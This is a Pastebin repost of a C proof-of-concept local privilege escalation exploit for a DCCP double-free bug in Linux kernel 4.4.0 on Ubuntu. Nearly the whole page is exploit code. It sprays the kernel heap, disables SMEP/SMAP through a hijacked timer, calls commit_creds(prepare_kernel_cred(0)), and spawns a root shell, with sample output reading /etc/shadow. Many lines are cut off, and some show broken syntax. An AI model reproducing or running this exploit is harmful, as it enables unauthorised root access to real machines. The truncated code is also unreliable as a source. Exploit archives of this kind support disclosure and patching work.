Lulz-Tigre

Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Esc

Feb 27th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.34 KB | None | 0 0
  1. //
  2. // EDB Note: More information ~ http://seclist
  3. //
  4. // A proof-of-concept local root exploit for C
  5. // Includes a semireliable SMAP/SMEP bypass.
  6. // Tested on 4.4.0-62-generic #83-Ubuntu kerne
  7. // https://github.com/xairy/kernel-exploits/tr
  8. //
  9. // Usage:
  10. // $ gcc poc.c -o pwn
  11. // $ ./pwn
  12. // [.] namespace sandbox setup successfully
  13. // [.] disabling SMEP & SMAP
  14. // [.] scheduling 0xffffffff81064550(0x406e0)
  15. // [.] waiting for the timer to execute
  16. // [.] done
  17. // [.] SMEP & SMAP should be off now
  18. // [.] getting root
  19. // [.] executing 0x402043
  20. // [.] done
  21. // [.] should be root now
  22. // [.] checking if we got root
  23. // [+] got r00t ^_^
  24. // [!] don't kill the exploit binary, the kern
  25. // # cat /etc/shadow
  26. // ...
  27. // daemon:*:17149:0:99999:7:::
  28. // bin:*:17149:0:99999:7:::
  29. // sys:*:17149:0:99999:7:::
  30. // sync:*:17149:0:99999:7:::
  31. // games:*:17149:0:99999:7:::
  32. // ...
  33. //
  34. // Andrey Konovalov <andreyknvl@gmail.com>
  35. #define _GNU_SOURCE
  36. #include <errno.h>
  37. #include <fcntl.h>
  38. #include <stdarg.h>
  39. #include <stdbool.h>
  40. #include <stddef.h>
  41. #include <stdint.h>
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. #include <unistd.h>
  46. #include <sched.h>
  47. #include <sys/socket.h>
  48. #include <sys/syscall.h>
  49. #include <sys/types.h>
  50. #include <sys/wait.h>
  51. #include <arpa/inet.h>
  52. #include <linux/if_packet.h>
  53. #include <netinet/if_ether.h>
  54. #define SMEP_SMAP_BYPASS    1
  55. // Needed for local root.
  56. #define COMMIT_CREDS        0xffffffff810a2840
  57. #define PREPARE_KERNEL_CRED 0xffffffff810a2c30
  58. #define SHINFO_OFFSET       1728
  59. // Needed for SMEP_SMAP_BYPASS.
  60. #define NATIVE_WRITE_CR4    0xffffffff81064550
  61. #define CR4_DESIRED_VALUE   0x406e0ul
  62. #define TIMER_OFFSET        (728 + 48 + 104)
  63. #define KMALLOC_PAD 128
  64. #define KMALLOC_WARM 32
  65. #define CATCH_FIRST 6
  66. #define CATCH_AGAIN 16
  67. #define CATCH_AGAIN_SMALL 64
  68. // Port is incremented on each use.
  69. static int port = 11000;
  70. void debug( const char *msg) {
  71. /*
  72. char buffer[32];
  73. snprintf(&buffer[0], sizeof(buffer), "echo
  74. system(buffer);
  75. */
  76. }
  77. // * * * * * * * * * * * * * * Kernel structs
  78. struct ubuf_info {
  79. uint64_t callback; // void (*callback
  80. uint64_t ctx; // void *
  81. uint64_t desc; // unsigned long
  82. };
  83. struct skb_shared_info {
  84. uint8_t  nr_frags; // unsigned char
  85. uint8_t  tx_flags; // __u8
  86. uint16_t gso_size; // unsigned short
  87. uint16_t gso_segs; // unsigned short
  88. uint16_t gso_type; // unsigned short
  89. uint64_t frag_list; // struct sk_buff
  90. uint64_t hwtstamps; // struct skb_shar
  91. uint32_t tskey; // u32
  92. uint32_t ip6_frag_id; // __be32
  93. uint32_t dataref; // atomic_t
  94. uint64_t destructor_arg; // void *
  95. uint8_t  frags[16][17]; // skb_frag_t
  96. };
  97. struct ubuf_info ui;
  98. void init_skb_buffer( char * buffer, void *func)
  99. memset (&buffer[0], 0, 2048);
  100. struct skb_shared_info *ssi = ( struct skb_
  101. ssi->tx_flags = 0xff;
  102. ssi->destructor_arg = (uint64_t)&ui;
  103. ssi->nr_frags = 0;
  104. ssi->frag_list = 0;
  105. ui.callback = (unsigned long)func;
  106. }
  107. struct timer_list {
  108. void *next;
  109. void *prev;
  110. unsigned long expires;
  111. void (*function)(unsigned long );
  112. unsigned long data;
  113. unsigned int flags;
  114. int slack;
  115. };
  116. void init_timer_buffer( char* buffer, void *fun
  117. memset (&buffer[0], 0, 2048);
  118. struct timer_list* timer = ( struct timer_l
  119. timer->next = 0;
  120. timer->prev = 0;
  121. timer->expires = 4294943360;
  122. timer->function = func;
  123. timer->data = arg;
  124. timer->flags = 1;
  125. timer->slack = -1;
  126. }
  127. // * * * * * * * * * * * * * * * Trigger * *
  128. struct dccp_handle {
  129. struct sockaddr_in6 sa;
  130. int s1;
  131. int s2;
  132. };
  133. void dccp_init( struct dccp_handle *handle, int
  134. handle->sa.sin6_family = AF_INET6;
  135. handle->sa.sin6_port = htons(port);
  136. inet_pton(AF_INET6, "::1" , &handle->sa.sin
  137. handle->sa.sin6_flowinfo = 0;
  138. handle->sa.sin6_scope_id = 0;
  139. handle->s1 = socket(PF_INET6, SOCK_DCCP, I
  140. if (handle->s1 == -1) {
  141. perror ( "socket(SOCK_DCCP)" );
  142. exit(EXIT_FAILURE);
  143. }
  144. int rv = bind(handle->s1, &handle->sa, siz
  145. if (rv != 0) {
  146. perror ( "bind()" );
  147. exit(EXIT_FAILURE);
  148. }
  149. rv = listen(handle->s1, 0x9);
  150. if (rv != 0) {
  151. perror ( "listen()" );
  152. exit(EXIT_FAILURE);
  153. }
  154. int optval = 8;
  155. rv = setsockopt(handle->s1, IPPROTO_IPV6,
  156. &optval, sizeof (optval));
  157. if (rv != 0) ;
  158. perror ( "setsockopt(IPV6_RECVPKTINFO)" )
  159. exit(EXIT_FAILURE);
  160. }
  161. handle->s2 = socket(PF_INET6, SOCK_DCCP, I
  162. if (handle->s1 == -1) {
  163. perror ( "socket(SOCK_DCCP)" );
  164. exit(EXIT_FAILURE);
  165. }
  166. }
  167. void dccp_kmalloc_kfree( struct dccp_handle *ha
  168. int rv = connect(handle->s2, &handle->sa,
  169. if (rv != 0) {
  170. perror ( "connect(SOCK_DCCP)" );
  171. exit(EXIT_FAILURE);
  172. }
  173. }
  174. void dccp_kfree_again( struct dccp_handle *hand
  175. int rv = shutdown(handle->s1, SHUT_RDWR);
  176. if (rv != 0) {
  177. perror ( "shutdown(SOCK_DCCP)" );
  178. exit(EXIT_FAILURE);
  179. }
  180. }
  181. void dccp_destroy( struct dccp_handle *handle)
  182. close(handle->s1);
  183. close(handle->s2);
  184. }
  185. // * * * * * * * * * * * * * * Heap spraying *
  186. struct udp_fifo_handle {
  187. int fds[2];
  188. };
  189. void udp_fifo_init( struct udp_fifo_handle* han
  190. int rv = socketpair(AF_LOCAL, SOCK_DGRAM,
  191. if (rv != 0) {
  192. perror ( "socketpair()" );
  193. exit(EXIT_FAILURE);
  194. }
  195. }
  196. void udp_fifo_destroy( struct udp_fifo_handle*
  197. close(handle->fds[0]);
  198. close(handle->fds[1]);
  199. }
  200. void udp_fifo_kmalloc( struct udp_fifo_handle*
  201. int rv = send(handle->fds[0], buffer, 1536
  202. if (rv != 1536) {
  203. perror ( "send()" );
  204. exit(EXIT_FAILURE);
  205. }
  206. }
  207. void udp_fifo_kmalloc_small( struct udp_fifo_ha
  208. char buffer[128];
  209. int rv = send(handle->fds[0], &buffer[0],
  210. if (rv != 128) {
  211. perror ( "send()" );
  212. exit(EXIT_FAILURE);
  213. }
  214. }
  215. void udp_fifo_kfree( struct udp_fifo_handle* ha
  216. char buffer[2048];
  217. int rv = recv(handle->fds[1], &buffer[0],
  218. if (rv != 1536) {
  219. perror ( "recv()" );
  220. exit(EXIT_FAILURE);
  221. }
  222. }
  223. int timer_kmalloc() {
  224. int s = socket(AF_PACKET, SOCK_DGRAM, hton
  225. if (s == -1) {
  226. perror ( "socket(SOCK_DGRAM)" );
  227. exit(EXIT_FAILURE);
  228. }
  229. return s;
  230. }
  231. #define CONF_RING_FRAMES 1
  232. void timer_schedule( int handle, int timeout) {
  233. int optval = TPACKET_V3;
  234. int rv = setsockopt(handle, SOL_PACKET, PA
  235. &optval, sizeof (optval));
  236. if (rv != 0) {
  237. perror ( "setsockopt(PACKET_VERSION)" );
  238. exit(EXIT_FAILURE);
  239. }
  240. struct tpacket_req3 tp;
  241. memset (&tp, 0, sizeof (tp));
  242. tp.tp_block_size = CONF_RING_FRAMES * getp
  243. tp.tp_block_nr = 1;
  244. tp.tp_frame_size = getpagesize();
  245. tp.tp_frame_nr = CONF_RING_FRAMES;
  246. tp.tp_retire_blk_tov = timeout;
  247. rv = setsockopt(handle, SOL_PACKET, PACKET
  248. (void *)&tp, sizeof (tp));
  249. if (rv != 0) {
  250. perror ( "setsockopt(PACKET_RX_RING)" );
  251. exit(EXIT_FAILURE);
  252. }
  253. }
  254. void socket_sendmmsg( int sock, char *buffer) {
  255. struct mmsghdr msg[1];
  256. msg[0].msg_hdr.msg_iovlen = 0;
  257. // Buffer to kmalloc.
  258. msg[0].msg_hdr.msg_control = &buffer[0];
  259. msg[0].msg_hdr.msg_controllen = 2048;
  260. // Make sendmmsg exit easy with EINVAL.
  261. msg[0].msg_hdr.msg_name = "root" ;
  262. msg[0].msg_hdr.msg_namelen = 1;
  263. int rv = syscall(__NR_sendmmsg, sock, msg,
  264. if (rv == -1 && errno != EINVAL) {
  265. perror ( "[-] sendmmsg()" );
  266. exit(EXIT_FAILURE);
  267. }
  268. }
  269. void sendmmsg_kmalloc_kfree( int port, char *bu
  270. int sock[2];
  271. int rv = socketpair(AF_LOCAL, SOCK_DGRAM,
  272. if (rv != 0) {
  273. perror ( "socketpair()" );
  274. exit(EXIT_FAILURE);
  275. }
  276. socket_sendmmsg(sock[0], buffer);
  277. close(sock[0]);
  278. }
  279. // * * * * * * * * * * * * * * Heap warming *
  280. void dccp_connect_pad( struct dccp_handle *hand
  281. handle->sa.sin6_family = AF_INET6;
  282. handle->sa.sin6_port = htons(port);
  283. inet_pton(AF_INET6, "::1" , &handle->sa.sin
  284. handle->sa.sin6_flowinfo = 0;
  285. handle->sa.sin6_scope_id = 0;
  286. handle->s1 = socket(PF_INET6, SOCK_DCCP, I
  287. if (handle->s1 == -1) {
  288. perror ( "socket(SOCK_DCCP)" );
  289. exit(EXIT_FAILURE);
  290. }
  291. int rv = bind(handle->s1, &handle->sa, siz
  292. if (rv != 0) {
  293. perror ( "bind()" );
  294. exit(EXIT_FAILURE);
  295. }
  296. rv = listen(handle->s1, 0x9);
  297. if (rv != 0) {
  298. perror ( "listen()" );
  299. exit(EXIT_FAILURE);
  300. }
  301. handle->s2 = socket(PF_INET6, SOCK_DCCP, I
  302. if (handle->s1 == -1) {
  303. perror ( "socket(SOCK_DCCP)" );
  304. exit(EXIT_FAILURE);
  305. }
  306. rv = connect(handle->s2, &handle->sa, size
  307. if (rv != 0) {
  308. perror ( "connect(SOCK_DCCP)" );
  309. exit(EXIT_FAILURE);
  310. }
  311. }
  312. void dccp_kmalloc_pad() {
  313. int i;
  314. struct dccp_handle handle;
  315. for (i = 0; i < 4; i++) {
  316. dccp_connect_pad(&handle, port++);
  317. }
  318. }
  319. void timer_kmalloc_pad() {
  320. int i;
  321. for (i = 0; i < 4; i++) {
  322. socket(AF_PACKET, SOCK_DGRAM, htons(ET
  323. }
  324. }
  325. void udp_kmalloc_pad() {
  326. int i, j;
  327. char dummy[2048];
  328. struct udp_fifo_handle uh[16];
  329. for (i = 0; i < KMALLOC_PAD / 16; i++) {
  330. udp_fifo_init(&uh[i]);
  331. for (j = 0; j < 16; j++)
  332. udp_fifo_kmalloc(&uh[i], &dummy[0]
  333. }
  334. }
  335. void kmalloc_pad() {
  336. debug( "dccp kmalloc pad" );
  337. dccp_kmalloc_pad();
  338. debug( "timer kmalloc pad" );
  339. timer_kmalloc_pad();
  340. debug( "udp kmalloc pad" );
  341. udp_kmalloc_pad();
  342. }
  343. void udp_kmalloc_warm() {
  344. int i, j;
  345. char dummy[2048];
  346. struct udp_fifo_handle uh[16];
  347. for (i = 0; i < KMALLOC_WARM / 16; i++) {
  348. udp_fifo_init(&uh[i]);
  349. for (j = 0; j < 16; j++)
  350. udp_fifo_kmalloc(&uh[i], &dummy[0]
  351. }
  352. for (i = 0; i < KMALLOC_WARM / 16; i++) {
  353. for (j = 0; j < 16; j++)
  354. udp_fifo_kfree(&uh[i]);
  355. }
  356. }
  357. void kmalloc_warm() {
  358. udp_kmalloc_warm();
  359. }
  360. // * * * * * * * * * * * * * Disabling SMEP/SM
  361. // Executes func(arg) from interrupt context m
  362. void kernel_exec_irq( void *func, unsigned long
  363. int i;
  364. struct dccp_handle dh;
  365. struct udp_fifo_handle uh1, uh2, uh3, uh4;
  366. char dummy[2048];
  367. char buffer[2048];
  368. printf ("[.] scheduling %p(%p)\n" , func, ( v
  369. memset (&dummy[0], 0xc3, 2048);
  370. init_timer_buffer(&buffer[0], func, arg);
  371. udp_fifo_init(&uh1);
  372. udp_fifo_init(&uh2);
  373. udp_fifo_init(&uh3);
  374. udp_fifo_init(&uh4);
  375. debug( "kmalloc pad" );
  376. kmalloc_pad();
  377. debug( "kmalloc warm" );
  378. kmalloc_warm();
  379. debug( "dccp init" );
  380. dccp_init(&dh, port++);
  381. debug( "dccp kmalloc kfree" );
  382. dccp_kmalloc_kfree(&dh);
  383. debug( "catch 1" );
  384. for (i = 0; i < CATCH_FIRST; i++)
  385. udp_fifo_kmalloc(&uh1, &dummy[0]);
  386. debug( "dccp kfree again" );
  387. dccp_kfree_again(&dh);
  388. debug( "catch 2" );
  389. for (i = 0; i < CATCH_FIRST; i++)
  390. udp_fifo_kmalloc(&uh2, &dummy[0]);
  391. int timers[CATCH_FIRST];
  392. debug( "catch 1 -> timer" );
  393. for (i = 0; i < CATCH_FIRST; i++) {
  394. udp_fifo_kfree(&uh1);
  395. timers[i] = timer_kmalloc();
  396. }
  397. debug( "catch 1 small" );
  398. for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  399. udp_fifo_kmalloc_small(&uh4);
  400. debug( "schedule timers" );
  401. for (i = 0; i < CATCH_FIRST; i++)
  402. timer_schedule(timers[i], 500);
  403. debug( "catch 2 -> overwrite timers" );
  404. for (i = 0; i < CATCH_FIRST; i++) {
  405. udp_fifo_kfree(&uh2);
  406. udp_fifo_kmalloc(&uh3, &buffer[0]);
  407. }
  408. debug( "catch 2 small" );
  409. for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  410. udp_fifo_kmalloc_small(&uh4);
  411. printf ("[.] waiting for the timer to execu
  412. debug( "wait" );
  413. sleep(1);
  414. printf ("[.] done\n" );
  415. }
  416. void disable_smep_smap() {
  417. printf ("[.] disabling SMEP & SMAP\n" );
  418. kernel_exec_irq(( void *)NATIVE_WRITE_CR4,
  419. printf ("[.] SMEP & SMAP should be off now\
  420. }
  421. // * * * * * * * * * * * * * * * Getting root
  422. // Executes func() from process context.
  423. void kernel_exec( void *func) {
  424. int i;
  425. struct dccp_handle dh;
  426. struct udp_fifo_handle uh1, uh2, uh3;
  427. char dummy[2048];
  428. char buffer[2048];
  429. printf ("[.] executing %p\n" , func);
  430. memset (&dummy[0], 0, 2048);
  431. init_skb_buffer(&buffer[0], func);
  432. udp_fifo_init(&uh1);
  433. udp_fifo_init(&uh2);
  434. udp_fifo_init(&uh3);
  435. debug( "kmalloc pad" );
  436. kmalloc_pad();
  437. debug( "kmalloc warm" );
  438. kmalloc_warm();
  439. debug( "dccp init" );
  440. dccp_init(&dh, port++);
  441. debug( "dccp kmalloc kfree" );
  442. dccp_kmalloc_kfree(&dh);
  443. debug( "catch 1" );
  444. for (i = 0; i < CATCH_FIRST; i++)
  445. udp_fifo_kmalloc(&uh1, &dummy[0]);
  446. debug( "dccp kfree again:" );
  447. dccp_kfree_again(&dh);
  448. debug( "catch 2" );
  449. for (i = 0; i < CATCH_FIRST; i++)
  450. udp_fifo_kmalloc(&uh2, &dummy[0]);
  451. debug( "catch 1 -> overwrite" );
  452. for (i = 0; i < CATCH_FIRST; i++) {
  453. udp_fifo_kfree(&uh1);
  454. sendmmsg_kmalloc_kfree(port++, &buffer
  455. }
  456. debug( "catch 2 -> free & trigger" );
  457. for (i = 0; i < CATCH_FIRST; i++)
  458. udp_fifo_kfree(&uh2);
  459. debug( "catch 1 & 2" );
  460. for (i = 0; i < CATCH_AGAIN; i++)
  461. udp_fifo_kmalloc(&uh3, &dummy[0]);
  462. printf ("[.] done\n" );
  463. }
  464. typedef int __attribute__((regparm(3))) (* _co
  465. typedef unsigned long __attribute__((regparm(3
  466. _commit_creds commit_creds = (_commit_creds)CO
  467. _prepare_kernel_cred prepare_kernel_cred = (_p
  468. void get_root_payload( void) {
  469. commit_creds(prepare_kernel_cred(0));
  470. }
  471. void get_root() {
  472. printf ("[.] getting root\n" );
  473. kernel_exec(&get_root_payload);
  474. printf ("[.] should be root now\n" );
  475. }
  476. // * * * * * * * * * * * * * * * * * Main * *
  477. void exec_shell() {
  478. char *shell = "/bin/bash" ;
  479. char *args[] = {shell, "-i" , NULL};
  480. execve(shell, args, NULL);
  481. }
  482. void fork_shell() {
  483. pid_t rv;
  484. rv = fork();
  485. if (rv == -1) {
  486. perror ( "fork()" );
  487. exit(EXIT_FAILURE);
  488. }
  489. if (rv == 0) {
  490. exec_shell();
  491. }
  492. }
  493. bool is_root() {
  494. // We can't simple check uid, since we're
  495. // with uid set to 0. Try opening /etc/sha
  496. int fd = open( "/etc/shadow" , O_RDONLY);
  497. if (fd == -1)
  498. return false;
  499. close(fd);
  500. return true;
  501. }
  502. void check_root() {
  503. printf ("[.] checking if we got root\n" );
  504. if (!is_root()) {
  505. printf ( "[-] something went wrong =(\n"
  506. printf ( "[!] don't kill the exploit bin
  507. return ;
  508. }
  509. printf ("[+] got r00t ^_^\n" );
  510. printf ("[!] don't kill the exploit binary,
  511. // Fork and exec instead of just doing the
  512. // skbuffs and prevent crashes due to a al
  513. fork_shell();
  514. }
  515. static bool write_file( const char* file, const
  516. {
  517. char buf[1024];
  518. va_list args;
  519. va_start (args, what);
  520. vsnprintf(buf, sizeof (buf), what, args);
  521. va_end (args);
  522. buf[ sizeof (buf) - 1] = 0;
  523. int len = strlen (buf);
  524. int fd = open(file, O_WRONLY | O_CLOEXEC);
  525. if (fd == -1)
  526. return false;
  527. if (write(fd, buf, len) != len) {
  528. close(fd);
  529. return false;
  530. }
  531. close(fd);
  532. return true;
  533. }
  534. void setup_sandbox() {
  535. int real_uid = getuid();
  536. int real_gid = getgid();
  537. if (unshare(CLONE_NEWUSER) != 0) {
  538. perror ( "unshare(CLONE_NEWUSER)" );
  539. exit(EXIT_FAILURE);
  540. }
  541. if (unshare(CLONE_NEWNET) != 0) {
  542. perror ( "unshare(CLONE_NEWUSER)" );
  543. exit(EXIT_FAILURE);
  544. }
  545. if (!write_file( "/proc/self/setgroups" , "d
  546. perror ( "write_file(/proc/self/set_grou
  547. exit(EXIT_FAILURE);
  548. }
  549. if (!write_file( "/proc/self/uid_map" , "0 %
  550. perror ( "write_file(/proc/self/uid_map)
  551. exit(EXIT_FAILURE);
  552. }
  553. if (!write_file( "/proc/self/gid_map" , "0 %
  554. perror ( "write_file(/proc/self/gid_map)
  555. exit(EXIT_FAILURE);
  556. }
  557. cpu_set_t my_set;
  558. CPU_ZERO(&my_set);
  559. CPU_SET(0, &my_set);
  560. if (sched_setaffinity(0, sizeof (my_set), &
  561. perror ( "sched_setaffinity()" );
  562. exit(EXIT_FAILURE);
  563. }
  564. if (system ( "/sbin/ifconfig lo up" ) != 0) {
  565. perror ( "system(/sbin/ifconfig lo up)" )
  566. exit(EXIT_FAILURE);
  567. }
  568. printf ("[.] namespace sandbox setup succes
  569. }
  570. int main() {
  571. setup_sandbox();
  572. #if SMEP_SMAP_BYPASS
  573. disable_smep_smap();
  574. #endif
  575. get_root();
  576. check_root();
  577. while (true) {
  578. sleep(100);
  579. }
  580. return 0;
Add Comment
Please, Sign In to add comment